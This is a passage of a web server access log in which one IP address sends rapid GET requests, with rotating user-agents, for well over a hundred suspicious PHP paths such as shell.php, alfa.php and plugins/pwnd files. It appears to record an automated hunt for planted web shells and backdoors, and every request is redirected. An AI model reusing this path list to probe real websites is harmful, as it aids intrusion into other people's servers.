HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:59 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:00 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:01 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:02 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:03 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:04 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:05 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:05 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:05 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:05 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:05 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:05 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:06 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:06 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:06 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:06 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:06 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:06 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:07 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:08 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:08 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:08 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:08 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:08 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:08 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:09 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:10 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:11 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:12 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:13 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 